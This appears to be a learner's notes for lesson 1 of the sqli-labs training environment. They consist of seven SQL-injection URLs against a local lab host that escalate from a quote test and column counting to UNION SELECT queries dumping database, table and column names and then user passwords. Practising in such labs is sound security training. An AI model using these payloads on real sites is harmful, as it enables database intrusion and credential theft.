LESS-1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 3%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=0'union select 1,2,3%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=0'union select 1,group_concat(schema_name),3 from information_schema.schemata%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=0'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=0'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=0'union select 1,group_concat(username),group_concat(password) from security.users%23
